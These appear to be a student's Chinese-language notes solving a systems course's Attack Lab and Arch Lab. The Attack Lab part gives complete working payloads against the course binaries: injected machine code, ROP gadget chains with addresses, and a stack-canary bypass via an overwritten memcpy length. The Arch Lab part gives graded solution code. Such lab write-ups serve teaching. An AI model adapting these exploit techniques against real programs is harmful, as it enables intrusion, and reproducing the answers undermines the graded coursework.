System V ABI 要求函数入口满足 %rsp % 16 == 8：调用方在 call 之前保持 %rsp 16 字节对齐，call 压入 8 字节返回地址，进入函数时便余 8。正常调用由编译器保证；用 ret 进入函数时，链的长度必须自己保证。

不对齐时，目标函数前面的代码可能照常执行并打印成功信息，然后在 glibc 的 __sprintf_chk 里崩溃。原因是该函数用 movaps 把 XMM 寄存器存到栈上，而 movaps 要求 16 字节对齐，不对齐直接触发 SIGSEGV。这类崩溃容易误判为 gadget 写错；在 GDB 中看 %rsp 的低四位，以及崩溃指令是不是 movaps，比反复改地址更快。

容易记住的推算方式：ret 从链上弹掉一个 8 字节地址后，%rsp 就增加 8。想让目标函数入口为 8 mod 16，就要让弹掉它的那条 ret 执行完后，%rsp 满足条件。ctarget 的 buf 本身是 8 mod 16，rtarget 和 starget 的 buf 是 0 mod 16，所以两边链上需要的 qword 数相差一个。

Phase 1：覆盖返回地址

第一关只需要把 getbuf 的返回地址改成 touch1。touch1 不接收参数，进入即过关。布局是 56 字节填充加 8 字节地址：

41 ... 41 | 27 1c 40 00 00 00 00 00
56 字节     touch1 = 0x401c27

0x41 是字符 A，只要求不包含换行；也可以用 00。这一关说明：只要控制返回槽，就能让程序跳到任意代码。

Phase 2：注入代码，给 touch2 传参数

touch2 把 %rdi 与全局 cookie 比较，相等才调用 validate。返回地址只能跳到函数开头，没法直接带参数，因此在缓冲区里放一段机器码，让 getbuf 先返回到这段代码：

48 c7 c7 23 2c 59 1e   mov    $0x1e592c23,%rdi
58                     pop    %rax
c3                     ret

这段代码把 cookie 放进 %rdi，再 ret 到 touch2。pop %rax 不参与数据传递，只负责把 %rsp 再推进 8 字节，使 touch2 入口满足对齐。完整布局：

偏移	内容
buf+0x00	注入代码（9 字节）
buf+0x09 到 buf+0x37	填充
buf+0x38	buf 的地址 0x55674558
buf+0x40	被 pop %rax 消耗的 8 字节
buf+0x48	touch2 的地址 0x401c5b

getbuf 的 ret 先跳到 buf；注入代码执行 pop 后，ret 从 buf+0x48 取出 touch2。进入 touch2 时 %rsp = buf+0x50，按 buf % 16 == 8 计算恰好是 8 mod 16。

Phase 3：把字符串指针交给 touch3

touch3 接收一个字符串指针，内部调用 hexmatch(cookie, s)：它先把 cookie 格式化成十六进制字符串，再用 strncmp 与 s 比较前 9 字节。因此要让 %rdi 指向 "1e592c23"。

字符串不能放在缓冲区低处。hexmatch 在栈上分配约 128 字节的局部数组，并用 sprintf 往里写；它的栈帧覆盖到 buf+0x40 附近，而 touch3 自己也会压栈。把字符串放在 buf+0x50，既在 hexmatch 的写入范围之上，也在 touch3 的栈帧之上，才能存活到 strncmp。

注入代码改成把字符串地址放进 %rdi：

48 c7 c7 a8 45 67 55   mov    $0x556745a8,%rdi   ; buf+0x50
58                     pop    %rax
c3                     ret

布局与第二关相同，只是 buf+0x48 处换成 touch3 的地址 0x401d81，buf+0x50 放入 31 65 35 39 32 63 32 33 00，即 "1e592c23" 加结尾零。getbuf 返回 buf，注入代码把 %rdi 设为 buf+0x50，pop 跳过一槽后 ret 进入 touch3；此时 %rsp = buf+0x50，字符串正好从栈顶开始。

ROP：栈不可执行时拼接已有指令

rtarget 的栈不可执行，注入的字节只会被当作数据。ROP（return-oriented programming）改为在已有代码中寻找以 ret 结尾的短序列，称为 gadget；把 gadget 的地址依次放在栈上，ret 每弹出一个地址就执行一段，最后由最后一段跳到目标函数。

farm.c 中的函数只用于生成 gadget，start_farm、mid_farm、end_farm 标出可搜索的范围。gadget 不必从函数开头开始，可以落在一条指令的立即数字节中间；例如某条 mov $0x...,%eax 的立即数里恰好含有 48 89 c7 c3，从 48 进入就是 movq %rax,%rdi; ret。pop %rax; ret 则常由某条 movl 立即数的末字节 58 与紧跟其后的 ret 字节 c3 拼成。搜索时直接在反汇编文本里找需要的字节序列，再核对起点地址。

本次用到的 gadget：

字节	指令	rtarget 地址	starget 地址
58 c3	pop %rax; ret	0x401ea7	0x401eae
89 c7 c3	movl %eax,%edi; ret	0x401e65	0x401e6c
48 89 c7 c3	movq %rax,%rdi; ret	0x401e64、0x401e85	0x401e6b、0x401e8c
48 89 e0 c3	movq %rsp,%rax; ret	0x401fb9	0x401fc0
89 c2 20 c0 c3	movl %eax,%edx；andb %al,%al；ret	0x401faf	0x401fb6
89 d1 08 db c3	movl %edx,%ecx；orb %bl,%bl；ret	0x401f59	0x401f60
89 ce c3	movl %ecx,%esi; ret	0x401f2d	0x401f34
48 8d 04 37 c3	lea (%rdi,%rsi,1),%rax; ret	0x401ec2	0x401ec9

starget 的 farm 整体比 rtarget 晚 7 字节，所以地址统一加 7。中间夹着的 andb %al,%al、orb %bl,%bl 只改条件码，不改变要传递的数据，是搜索字节序列时附带进来的指令。

32 位写入会零扩展：movl %eax,%edi 把 %rax 的低 32 位送进 %edi，同时把 %rdi 的高 32 位清零。所以 cookie 和偏移都能用 32 位立即数放进 64 位寄存器。第五关搬移偏移用的也是这条 32 位链路，因此偏移必须落在 0 到 $2^{32}-1$；本题的 0x50 满足。若偏移需要为负，零扩展后无法表示，必须另找减法或借位 gadget。

Phase 4：用 pop 和 movl 传入 cookie

rtarget 不能注入代码，但 farm 里有现成的 pop %rax; ret 和 movl %eax,%edi; ret。链从 getbuf 的返回槽开始：

偏移	内容	作用
buf+0x38	0x401ea7	pop %rax; ret
buf+0x40	0x1e592c23	cookie，被 pop 装入 %rax
buf+0x48	0x401e65	movl %eax,%edi; ret
buf+0x50	0x401be9	touch2

getbuf 返回到 pop 时 %rsp = buf+0x40；pop 吃掉 cookie，ret 进入 movl；movl 把 %rax 的低 32 位搬到 %edi，再 ret 进入 touch2。进入 touch2 时 %rsp = buf+0x58。rtarget 的 buf % 16 == 0，0x58 使入口为 8 mod 16。

如果多放一个裸 ret，参数仍然正确，但入口对齐会翻转；touch2 打印成功信息并调用 validate 后，notify_server 里的 __sprintf_chk 会崩溃。链上每个 slot 都在改变奇偶性，所以对齐要按整条链算，不能只看最后一个地址。

Phase 5：用 add_xy 计算字符串地址

第五关需要 touch3 收到字符串指针，但 rtarget 的栈地址随机，不能像 ctarget 那样写死 buf+0x50。farm 里的 add_xy 提供 lea (%rdi,%rsi,1),%rax，可以把两个寄存器相加。思路是先取得一个当前栈地址，再加上字符串相对它的偏移。

链的第一步用 movq %rsp,%rax; ret 捕获 %rsp。进入这个 gadget 时 %rsp = buf+0x40，所以 %rax = buf+0x40。随后 movq %rax,%rdi; ret 把基址放进 %rdi。偏移 0x50 先由 pop %rax 放进 %rax，再沿 %eax → %edx → %ecx → %esi 搬进 %rsi；每次 32 位写入都会零扩展，最终 %rsi = 0x50。lea (%rdi,%rsi,1),%rax 算出 buf+0x90，再用 movq %rax,%rdi 放进参数寄存器，最后 ret 到 touch3。

偏移	内容	作用
buf+0x38	movq %rsp,%rax; ret	%rax = buf+0x40
buf+0x40	movq %rax,%rdi; ret	%rdi = buf+0x40
buf+0x48	pop %rax; ret	准备偏移
buf+0x50	0x50	偏移值
buf+0x58	movl %eax,%edx; ret	%edx = 0x50
buf+0x60	movl %edx,%ecx; ret	%ecx = 0x50
buf+0x68	movl %ecx,%esi; ret	%esi = 0x50，%rsi 高位清零
buf+0x70	lea (%rdi,%rsi,1),%rax; ret	%rax = buf+0x90
buf+0x78	movq %rax,%rdi; ret	%rdi = buf+0x90
buf+0x80	touch3（0x401d0f）	调用目标
buf+0x88	0	空槽（touch3 入口 %rsp）
buf+0x90	"1e592c23" 加 00	字符串

字符串放在 buf+0x90，比 touch3 的入口栈顶还高，hexmatch 的局部数组不会覆盖它。touch3 的地址必须放在 buf+0x80，这样 ret 弹出它之后 %rsp = buf+0x88，入口对齐为 8 mod 16；字符串因此顺延到 buf+0x90，buf+0x88 留空。

偏移只能是非负的 32 位值，因为 movl 零扩展后 %rsi 的高 32 位为 0；add_xy 实际做的是 %rdi + %rsi。在本题中字符串在基址之上，所以偏移取正数没有问题。

Phase 6：绕过 canary 再执行 ROP

starget 的 getbuf_withcanary 在栈上放了 canary，并在返回前检查：

401dea <getbuf_withcanary>:
  401dea: 55                    push   %rbp
  401deb: 48 89 e5              mov    %rsp,%rbp
  401dee: 48 81 ec 20 01 00 00  sub    $0x120,%rsp
  401df5: 64 48 8b 04 25 28 00  mov    %fs:0x28,%rax
  ...
  401dfe: 48 89 45 f8           mov    %rax,-0x8(%rbp)   ; canary
  401e04: c7 45 e4 00 00 00 00  movl   $0x0,-0x1c(%rbp)  ; len
  401e0b: 48 8d 85 60 ff ff ff  lea    -0xa0(%rbp),%rax
  401e12: 48 89 c7              mov    %rax,%rdi
  401e15: e8 c3 02 00 00        call   Gets
  401e1a: 8b 45 e4              mov    -0x1c(%rbp),%eax
  401e1d: 48 98                 cltq
  401e1f: 48 8d 95 e0 fe ff ff  lea    -0x120(%rbp),%rdx
  401e26: 48 8d 0c 02           lea    (%rdx,%rax,1),%rcx
  401e2a: 48 8d 85 60 ff ff ff  lea    -0xa0(%rbp),%rax
  401e31: ba 80 00 00 00        mov    $0x80,%edx
  401e36: 48 89 c6              mov    %rax,%rsi
  401e39: 48 89 cf              mov    %rcx,%rdi
  401e3c: e8 ff f2 ff ff        call   memcpy
  401e41: ...
  401e46: 48 8b 75 f8           mov    -0x8(%rbp),%rsi
  401e4a: 64 48 33 34 25 28 00  xor    %fs:0x28,%rsi
  401e53: 74 05                 je     401e5a
  401e55: e8 72 07 00 00        call   __stack_chk_fail
  401e5a: c9                    leave
  401e5b: c3                    ret

栈帧如下：

地址	内容
rbp-0x120 到 rbp-0xa1	logMsg[128]
rbp-0xa0 到 rbp-0x21	buf[128]
rbp-0x1c	len（4 字节）
rbp-0x8	canary
rbp	保存的 %rbp
rbp+8	返回地址

关键在 memcpy(logMsg+len, buf, 128)：它在 canary 检查之前执行，且 len 位于 buf 之后 0x84 字节处，可以被输入改写。Gets 从 buf 开始读，越过 128 字节的 buf 后先写 4 字节空隙，到 0x84 就覆盖 len。把 len 设为 0x128，logMsg+0x128 = (rbp-0x120)+0x128 = rbp+8，于是 128 字节的 buf 被复制到返回地址开始的位置。canary 和保存的 %rbp 都没有被写，检查通过。

输入写到 len 结束，总长 0x88 字节；它距离 canary 还有 16 字节，完全没碰到 rbp-0x8。getbuf_withcanary 末尾的 leave; ret 使用原来的 canary 和保存的 %rbp，ret 从 rbp+8 取出被复制过去的第一个 qword。

复制到 rbp+8 的内容就是一条完整 ROP 链。链的第一条 gadget 必须能给出一个栈地址；用 movq %rsp,%rax; ret，进入它时 %rsp = rbp+0x10，所以基址是 rbp+0x10。字符串相对基址的偏移是 0x68，算出 rbp+0x78，恰好是复制块中 buf+0x70 的字符串落到的新位置。

输入偏移	内容	复制后的地址	作用
buf+0x00	movq %rsp,%rax; ret（0x401fc0）	rbp+8	%rax = rbp+0x10
buf+0x08	movq %rax,%rdi; ret（0x401e8c）	rbp+0x10	%rdi = rbp+0x10
buf+0x10	pop %rax; ret（0x401eae）	rbp+0x18	准备偏移
buf+0x18	0x68	rbp+0x20	偏移值
buf+0x20	movl %eax,%edx; ret（0x401fb6）	rbp+0x28	%edx = 0x68
buf+0x28	movl %edx,%ecx; ret（0x401f60）	rbp+0x30	%ecx = 0x68
buf+0x30	movl %ecx,%esi; ret（0x401f34）	rbp+0x38	%esi = 0x68
buf+0x38	lea (%rdi,%rsi,1),%rax; ret（0x401ec9）	rbp+0x40	%rax = rbp+0x78
buf+0x40	movq %rax,%rdi; ret（0x401e6b）	rbp+0x48	%rdi = rbp+0x78
buf+0x48	touch3（0x401d16）	rbp+0x50	调用目标
buf+0x50 到 buf+0x6f	填充
buf+0x70	"1e592c23" 加 00	rbp+0x78	字符串
buf+0x79 到 buf+0x7f	填充
buf+0x80 到 buf+0x83	空隙，不参与复制
buf+0x84	len = 0x128	留在原栈帧	控制复制目标

进入 touch3 时 %rsp = rbp+0x58，是 8 mod 16。getbuf_withcanary 的入口 %rsp 为 8 mod 16，push %rbp 后 %rbp 为 0 mod 16，buf = rbp-0xa0 仍为 0 mod 16。字符串在 rbp+0x78，高于 touch3 的栈帧，hexmatch 不会覆盖它。

这一关把两个机制叠在一起：canary 只能发现连续写穿 rbp-0x8 的溢出，而 memcpy 在检查前把数据直接写到 rbp+8，绕开了 sentinel，检查自然通过；len 又恰好在缓冲区溢出可及的位置。防护只盯着返回地址前的那道哨兵，却没有限制能改写复制长度和目的地址的字段。

调试与验证

三份程序都关掉了 PIE，代码地址固定，可以直接在 GDB 里对函数名设断点：

# ctarget、rtarget
break getbuf
break touch2
break touch3
run < /tmp/p3.raw

# starget
break getbuf_withcanary
break touch3
run < /tmp/p3.raw

按当前要调试的程序选一组；另一组里的函数名在这个程序中没有定义。以 rtarget 第五关为例，生成二进制输入并启动调试：

./hex2raw < rtarget.l3.txt > /tmp/p3.raw
gdb ./rtarget

在 getbuf 返回前查看栈顶，可以直接确认返回槽和缓冲区地址：

x/12gx $rsp
p/x ((unsigned long)$rsp) & 0xf

进入 touch2 或 touch3 后，用 p/x $rdi 检查参数，用 p/x $rsp 和 p/x ((unsigned long)$rsp) & 0xf 检查入口对齐。若程序在 movaps 处崩溃，先看 %rsp 的低四位，再回查链中 ret 与 pop 的数量。

验证时始终加 -q：

./hex2raw < ctarget.l1.txt | ./ctarget -q
./hex2raw < rtarget.l2.txt | ./rtarget -q
./hex2raw < starget.l3.txt | ./starget -q

成功时程序打印 Touch...、Valid solution for level N，最后是 PASS: Would have posted the following:。去掉 -q 会把同一段结果提交到 Autolab，因此只在确认答案后才在实验机上这样做。

Arch Lab：程序与流水线一起优化

Arch Lab 分三部分：Part A 用 Y86-64 写程序，Part B 扩展指令并补全流水线，Part C 同时调整 ncopy.ys 和运行它的处理器。程序说明“做什么”，HCL 说明硬件在每周期“怎样做”；两边都必须保持指令集规定的结果。

本版工具和文件

2026 年的 handout 已提供 Linux 可执行文件，直接读取 .hcl，不需要编译模拟器，也不需要安装 Rust。进入 WSL 后，在实验根目录运行：

cd /mnt/d/PKU/26fall/ICS/Lab/archlab/archlab-handout

./bin/yas misc/sum.ys
./bin/yis misc/sum.yo
./bin/ysim misc/sum.ys --arch pipe_std
./bin/ysim --check architectures/seq_full.hcl

yas 把 .ys 汇编为 .yo；yis 按 ISA 执行，不模拟流水线，是判断程序语义的参照；ysim 按指定架构逐周期运行，用来检查硬件实现和周期数。.ys 是自己写的汇编，.yo 是汇编结果，.hcl 是处理器描述。

部分	需要修改的文件	要完成的内容
A	misc/sum.ys、rsum.ys、bubble.ys	迭代链表求和、递归链表求和、原地冒泡排序。
B	architectures/seq_full.hcl	增加立即数运算 IOPQ。
B	pipe_s3a.hcl 至 pipe_s3d.hcl，pipe_s4a.hcl 至 pipe_s4c.hcl	补全相关检测、转发、PC 恢复和暂停/气泡控制。
C	misc/ncopy.ys、architectures/ncopy.hcl	正确复制数组并统计正数，同时改善代码与架构性能。

提交的是上述十三个源文件组成的 tar 包。每个文件开头都要有姓名、学号；Part C 还要求说明改动及其目的。

Part A：先保证调用约定和边界正确

链表节点包含八字节的 val 和八字节的 next，所以 0(%rdi) 是本节点的值，8(%rdi) 是下一节点的地址。迭代求和的核心为：

sum_list:
    xorq %rax, %rax
    andq %rdi, %rdi
    je sum_done
sum_loop:
    mrmovq 0(%rdi), %r8
    addq %r8, %rax
    mrmovq 8(%rdi), %rdi
    andq %rdi, %rdi
    jne sum_loop
sum_done:
    ret

空链表直接返回零。样例三个值的和为 $\mathtt{0x00d}+\mathtt{0x0e0}+\mathtt{0xf00}=\mathtt{0xfed}$。

递归版在调用下一层之后还要用本节点的值，所以不能只把它留在调用者保存寄存器中。实现中用 %rbx 保存，并在每一层压栈、恢复：

rsum_list:
    xorq %rax, %rax
    andq %rdi, %rdi
    je rsum_done
    pushq %rbx
    mrmovq 0(%rdi), %rbx
    mrmovq 8(%rdi), %rdi
    call rsum_list
    addq %rbx, %rax
    popq %rbx
rsum_done:
    ret

每次递归的返回地址由 call 压栈，本层的旧 %rbx 由 pushq 压栈；返回时两者都必须恢复。参数 %rdi 属于调用者保存寄存器，函数不必把它恢复成入口值。

冒泡排序比较相邻的两个八字节有符号整数，若右边小于左边就交换。subq %r8,%rax 算的是 $\mathrm{right}-\mathrm{left}$，随后 jge 跳过无需交换的情况；有符号判断使用 $SF\oplus OF$，能正确处理包含极大正数和极小负数的比较。每轮内层结束后，剩余无序部分缩短一项；长度为零或一时直接返回。

本实验中的数组元素对应 Linux x86-64 的 long，大小为八字节。说明书中的“int (8 bytes)”应按这里的实际类型理解。

本版 HCL 与教材记号的对应

教材	本实验	含义
E_icode、D_valP	E.icode、D.valP	本周期开始时的流水线寄存器内容。
IIRMOVQ、IOPQ	IRMOVQ、OPQ	普通立即数传送、寄存器算术指令。
新增立即数算术	IOPQ	本实验的立即数 ADD/SUB/AND/XOR 指令类别。
IRRMOVQ / ICMOVXX	CMOVX	rrmovq 与条件传送共用指令类别，由 ifun 区分。
word、bool	u64、u8、bool	根据地址/数据、编号、布尔条件选择类型。
流水线寄存器赋值	@set_stage(e, {...})	给出下个有效沿要接收的值。

本实验的 OPQ 是普通寄存器运算，IOPQ 才是新增的立即数运算。 教材里的 IOPQ 常指带 I 前缀的普通 OPq 指令码，移植代码时要核对含义。

选择器按从上到下的顺序取第一个满足条件的值。HCL 表达式用来比较和选择，不能直接写 valB + valC；应把它们接到 ALU 的输入。@set_input 和 @set_stage 的右侧要填信号名，复杂表达式先定义为信号。

Part B：给 SEQ 增加 IOPQ

立即数算术的语义是：

$$R[r_B]\leftarrow R[r_B]\ \mathrm{op}\ V$$

它带一个寄存器字节和八字节立即数，长度为十字节。寄存器字节的 rA 为 RNONE，rB 指定要读、写的寄存器；ifun 指定 ADD、SUB、AND、XOR。特别是 isubq $V,%rB 计算 $R[r_B]-V$。

阶段	要补上的控制
F	指令有效；需要寄存器字节和 valC，正确计算 valP。
D	srcA 为 RNONE，srcB 与 dstE 为 rB，dstM 为 RNONE。
E	ALU 的 A 端取 valC，B 端取寄存器值，功能取 ifun；更新 CC。
M	不读写数据内存。
W	把 valE 写回 rB。
PC	使用顺序地址 valP。

例如 ALU 控制要同时覆盖 OPQ、IOPQ：

u8 alufun = [
    icode in { OPQ, IOPQ } : ifun;
    1 : ADD;
];
bool set_cc = icode in { OPQ, IOPQ };

只增加 ALU 运算而忘记 need_valC 或 need_regids，会把后面的指令字节当成当前指令的一部分；只写回结果而不更新 CC，则会让紧接着的条件跳转出错。iandq 也属于这组指令，虽然说明书列举时漏写了它。

Part B：从顺序执行到流水线

架构	相比前一步的主要变化
pipe_s2	取指与其余工作分开，是给出的两级示例。
pipe_s3a	再分出译码级；遇到寄存器相关时等待。
pipe_s3b	从执行级向译码级转发 ALU、内存结果。
pipe_s3c	预测跳转成立，执行级判断失败后恢复顺序路径。
pipe_s3d	将读写寄存器合并为流水线硬件的 reg_file。
pipe_s4a	访存与执行分开，新增 load-use 暂停；直接从 E 级恢复分支。
pipe_s4b	保存分支结果到 M 级后恢复 PC，减轻跨级组合路径。
pipe_s4c	让 valA 兼带 store 数据、call 返回地址和分支顺序地址，减少专用字段。

填空时要同时回答三个问题：这条指令现在在哪一级、需要的值什么时候产生、下一拍哪些指令应该前进或取消。

三级流水线把执行、访存、写回都放在最后一级，加载值可在该周期转发给 D；四级流水线把访存移到后一级，E 中的 load 只有地址，紧随其后的消费者必须等一拍。

同一级转发中，加载值的优先级高于 ALU 值。popq %rsp 同时产生新的栈指针和弹出的数据，最后写入 %rsp 的应是弹出的数据；若先匹配 dstE，就会把栈指针增量结果错误地转发出去。

对于分支，保存的条件和保存的地址必须属于同一条指令。按阶段推导，pipe_s4b 的恢复项应为：

M.icode == JX && !M.cnd : M.valP;

这里的条件应来自 M，因为 E 已经是另一条指令。pipe_s4c 用 M.valA 保存顺序地址，恢复项的右侧相应为 M.valA。当前实现在两个文件的分支恢复项中各将 !e_cnd 改为 !M.cnd，使指令类型、条件结果和恢复地址来自同一阶段；其余模板内容保留。

ret 等待与 load-use 也可能重合：

mrmovq 0(%rbx), %rsp
ret

此时 E 的 load 正在产生新栈指针，D 的 ret 正要读它。应保持 D、给 E 注入气泡，不能把 ret 删除。因此 d_bubble 中的 ret 条件要受 !d_stall 限制。

Part C：ncopy 的语义与软件优化

输入为 %rdi=src、%rsi=dst、%rdx=len，两个数组不重叠，返回值 %rax 是源数组中严格大于零的元素个数。复制的是全部元素，零和负数也要写到目的数组，只是不增加计数。

最终代码一次处理八项，把多次指针更新和循环判断合并。每组先读两项，再使用读出的数据：

    mrmovq 0(%rdi), %r8
    mrmovq 8(%rdi), %r9
    rmmovq %r8, 0(%rsi)
    andq %r8, %r8
    jle count8_0
    iaddq $1, %rax
count8_0:
    rmmovq %r9, 8(%rsi)
    andq %r9, %r9
    jle count8_1
    iaddq $1, %rax
count8_1:

andq 不改变原数，但产生用于判断正负和零的 CC。jle 跳过非正数；iaddq 在需要时增加计数。每八项结束后，两个指针各增加 $8\times8=64$ 字节。

主循环用“剩余长度减八”的形式判断能否处理整组。退出时计数寄存器在 $[-8,-1]$，随后依次加四、加二、加一，决定能否再处理四项、两项、一项；每处理一组，都把相应项数扣除。因此任意非负长度都可处理，不局限于评分中的六十四项，也不会把尾部不足八项的数据当作整组复制。

Part C：缩短关键路径的硬件取舍

评分同时考虑 CPE 和架构成本 AC。标准 PIPE 中的组合链 ALU → reg_cc → cond 连过三个硬件单元，对应 AC 为四。本次把 ALU 留在 E，把 CC 更新和条件判断放到 M：

E：ALU 计算
       ↓ 流水线寄存器保存 ALU 输入、功能、结果
M：reg_cc → cond，完成条件判断
       ↓ 保存分支结果与顺序地址
W：提供分支恢复地址或 ret 返回地址

这样每条组合路径最多串过两个单元，AC 降到三。它的代价是分支更晚确定，条件传送结果也更晚确定，所以控制必须一起调整：

• M 级发现预测错误时，给 D、E、M 注入气泡，取消三条年轻指令；下一周期从 W 保存的顺序地址恢复取指。
• 条件传送在 M 判断是否真正写回；紧随其后的相关指令等待一拍，再从 M 的有效目的 ID 转发。
• rrmovq 虽然也编码为 CMOVX，但 ifun 为零、无条件传送，可以直接从 E 转发。
• CC 更新属于 M 中的 OPQ/IOPQ；较老指令的异常或 halt 必须阻止较年轻的更新。

这里增加分支代价，换取更短的关键路径，是评分公式下的性能取舍。CPE 更小不一定总分更高，还要一起看 AC。

加载结果作为 store 数据：晚一点再用

load → ALU 需要在 E 得到加载结果，仍有 load-use 暂停；load → store 若只依赖待存数据，到 M 写内存时才真正需要它。后者可以增加旁路：

u64 e_valA = [
    E.icode in { RMMOVQ, PUSHQ } && E.srcA == M.dstM : m_valM;
    1 : E.valA;
];

bool load_use = E.icode in { MRMOVQ, POPQ } &&
    (E.dstM == d_srcB ||
     (E.dstM == d_srcA && !(D.icode in { RMMOVQ, PUSHQ })));

第一段把 M 的加载数据送进下一拍 M 将使用的 valA；第二段只放行“加载值仅作为待存数据”的情况。基址或栈指针属于 srcB，到 E 算地址时就要用，仍须暂停。若某寄存器既作 store 数据又作地址基址，也会被 srcB 条件拦住。

这正对应第十一讲教材题 4.57 的思路。旁路和暂停条件要成对修改；仅放宽暂停而没有新增数据通路，会存入旧值。

性能指标与验证

对于长度为 $N$ 的数组：

$$\operatorname{CPE}(N)=\frac{\operatorname{cycles}(N)}{N},\qquad \overline{\operatorname{CPE}}=\frac1{64}\sum_{N=1}^{64}\operatorname{CPE}(N)$$

这里平均的是六十四个 CPE，不是把所有周期加总后除以所有元素数。架构成本是本实验简化的关键路径度量，不是实际 GHz：

$$AC=1+\max(\text{同一组合路径串联的硬件单元数}),\qquad c=\overline{\operatorname{CPE}}+2AC$$

本次本地评分为 $\overline{\operatorname{CPE}}\approx8.938848$、$AC=3$，因此 $c\approx14.938848\le15$，Part C 得六十分。Part A 得十五分，Part B 得二十五分，本地总分为一百分。服务器逐周期对照仍以 Autolab 为准。

./bin/grader part-a
./bin/grader part-b
./bin/grader arch ncopy -i
./bin/grader part-c
./bin/grader autolab

grader autolab 在本地运行所有部分并打印评分字段，不执行上传。直接运行 ./bin/grader 只会显示帮助，本版要求指定子命令。

定位错误时，先用 yis 检查汇编；若 ISA 结果正确、流水线错误，再看 HCL 的转发优先级、气泡和 PC 恢复。检查错误架构或观察依赖图可以用：

./bin/ysim --check architectures/ncopy.hcl
./bin/ysim --arch ncopy -I
./bin/ysim misc/y86-code/hz-popq-rsp-srcB.ys --arch ncopy -v

-I 会报告组合依赖层次，并生成依赖图 HTML；-v 显示逐周期信息。测试除了样例还要覆盖空数组、展开边界前后、超过六十四项的长度、零与负数、整数极值、被调用者保存寄存器和目的数组两侧的哨兵值。

打包与提交

在 archlab-handout 中运行：

make handin
tar tf archlab-handin.tar

生成的 archlab-handin.tar 内有十三个 .ys / .hcl 文件，上传这个 tar 到 Autolab。.yo、模拟器、VS Code 扩展和本地测试记录都不需要放进提交包。

当前 WSL 没有安装 make，也可以直接用 GNU tar 打包相同文件：

tar -cf archlab-handin.tar --transform='s|.*/|archlab-handin/|' \
  misc/{sum,rsum,bubble,ncopy}.ys \
  architectures/{seq_full,pipe_s3a,pipe_s3b,pipe_s3c,pipe_s3d,pipe_s4a,pipe_s4b,pipe_s4c,ncopy}.hcl
tar tf archlab-handin.tar

--transform 把源路径中的目录部分换成 archlab-handin/，使 tar 包的内部结构符合提交要求。当前 ncopy 汇编后代码为 $793$ 字节，没有额外栈分配，官方长度检查已通过。

说明书中另有 list.ys 应为 sum.ys、hazard 拼成 harzard 等笔误，拼写和注释保持原样。当前代码对模板的修正仅限于 pipe_s4b、pipe_s4c 分支恢复条件的两处阶段引用。